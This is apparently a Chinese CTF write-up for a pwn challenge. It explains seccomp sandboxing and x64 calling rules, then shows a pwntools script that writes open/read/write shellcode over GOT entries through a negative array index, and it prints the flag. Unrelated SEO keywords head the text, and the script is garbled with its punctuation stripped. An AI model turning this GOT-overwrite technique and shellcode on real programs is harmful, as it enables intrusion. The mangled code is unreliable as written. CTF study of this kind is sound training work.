有的网站网速慢,电子商务平台运营是做什么的,青岛网站设计品牌企业,网站做app用什么语言知识点
构造一段shellcode的作用就是为了在缓冲区溢出时将shellcode的地址覆盖正常的返回地址。
\x00 截断符 shellcode里出现\x00就会从其截断#xff0c;所以构造shellcode的时候要避免\x00
x64函数调用规则 x64机器在调用某个函数前#xff0c;比如int func(int a, int…知识点
构造一段shellcode的作用就是为了在缓冲区溢出时将shellcode的地址覆盖正常的返回地址。
\x00 截断符 shellcode里出现\x00就会从其截断所以构造shellcode的时候要避免\x00
x64函数调用规则 x64机器在调用某个函数前比如int func(int a, int b, int c, int d, int e, int f, int g, int h)首先他会把前6个参数从左往右存入到寄存器rdi、rsi、rdx、rcx、r8、r9其余参数存入到栈里保存的顺序是从右往左入栈。比如abcdef会存入到寄存器里然后一次入栈h、g。 保存完参数之后再把函数后面一条指令的地址入栈保存。
解题流程
查看文件类型 查看保护机制 因为不是FULL RELRO所以就考虑改got表为shellcode地址
IDA64位打开 Main查看伪码 查看子程序 seccomp_init(0LL); seccomp_rule_add(v1, 2147418112LL, 2LL, 0LL); 做pwn用seccomp做沙箱保护很常见。有时候seccomp后面会跟一个结构体 seccomp是一类内核里的安全机制,正常情况下,程序可以使用所有的syscall,这是不安全的,比如劫持程序流后通过execve的syscall来getshell.通过seccomp我们可以在程序里禁用掉某些syscall,这样就算劫持了程序流也只能调用部分的syscall了。 seccomp全称securecomputing mode是linuxkernel从2.6.23版本开始所支持的一类安全机制。 在Linux系统里大量的系统调用systemcall直接暴露给用户态程序。但是并不是所有的系统调用都被需要而且不安全的代码滥用系统调用会对系统造成安全威胁。通过seccomp我们限制程序使用某些系统调用这样可以减少系统的暴露面同时是程序进入一类“安全”的状态。 数字后面有uuLuLL u代表unsigned默认为unsigned int uL代表unsigned long 数字文字的ULL后缀uLL为unsigned long long int令类型为整数常量unsigned long long int添加后缀ULL到整数。
1.add 注意 *((_QWORD *)unk_2020E0 v1)即unk_2020E0[v1]
2.show
3.edit 4.delete 释放分配的内存
漏洞分析 sub_BCA里发现开了沙箱。 先将libseccomp.so.0文件路径添加到环境变量里 Export LD_LIBRARY_PATH’/home/kali/Desktop’ 再ldd链接 限制了只能使用openreadwrite
在add里 令index下标为负数时可以覆盖到其他函数的got表地址
具体解决
下面介绍三个解决方案
方法一
这里选覆盖掉exit的got表里的地址因为沙盒的存在所以需要构造orw的shellcode并覆盖exit的got地址为shellcode exit位置在unk_2020E0位置的上面 相差偏移量E0-780x68104再除以813即向上偏移13可覆盖exit的地址
exp脚本如下:
from pwn import *pprocess(./pwn)
#p remote(39.105.131.68,12354)
elfELF(./pwn)
context(oslinux,archamd64)shellcodexor rax, rax #xor rax,rax是对rax的清零运算操作xor rdi, rdi #清空rdi寄存器的值xor rsi, rsi #清空rsi寄存器的值xor rdx, rdxmov rax, 2 #open调用号为2mov rdi, 0x67616c662f2e #为galf/.为./flag的相反 0x67616c662f2e为/flag的ASCII码的十六进制push rdimov rdi, rspsyscall #系统调用前linux在eax寄存器里写入子功能号断止处理程序根据eax寄存器的值来判断用户进程申请哪类系统调用。mov rdx, 0x100 #sys_read(3,file,0x100)mov rsi, rdimov rdi, raxmov rax, 0 #read调用号为0,0为文件描述符即外部输入例如键盘syscallmov rdi, 1 #sys_write(1,file,0x30)mov rax, 1 #write调用号为1,1为文件描述符指的是屏幕syscallp.recv()
p.sendline(1)
p.recvuntil(index:)
p.sendline(-13)
p.recvuntil(size:)
p.sendline(0)
p.recvuntil(content:)
p.sendline(asm(shellcode)) #asm可以对汇编代码进行汇编
#gdb.attach(p)
p.sendline(5)p.interactive()flag值为:flag{151a5154-orw1-easy-1234-99bdsa23c7ds}
方法二
覆盖掉free的got表里的地址将上面的脚本的偏移-13改为-25即可
方法三
覆盖掉atoi的got表里的地址将上面的脚本的偏移-13改为-14即可
方法四
覆盖掉puts的got表里的地址将上面的脚本的偏移-13改为-22即可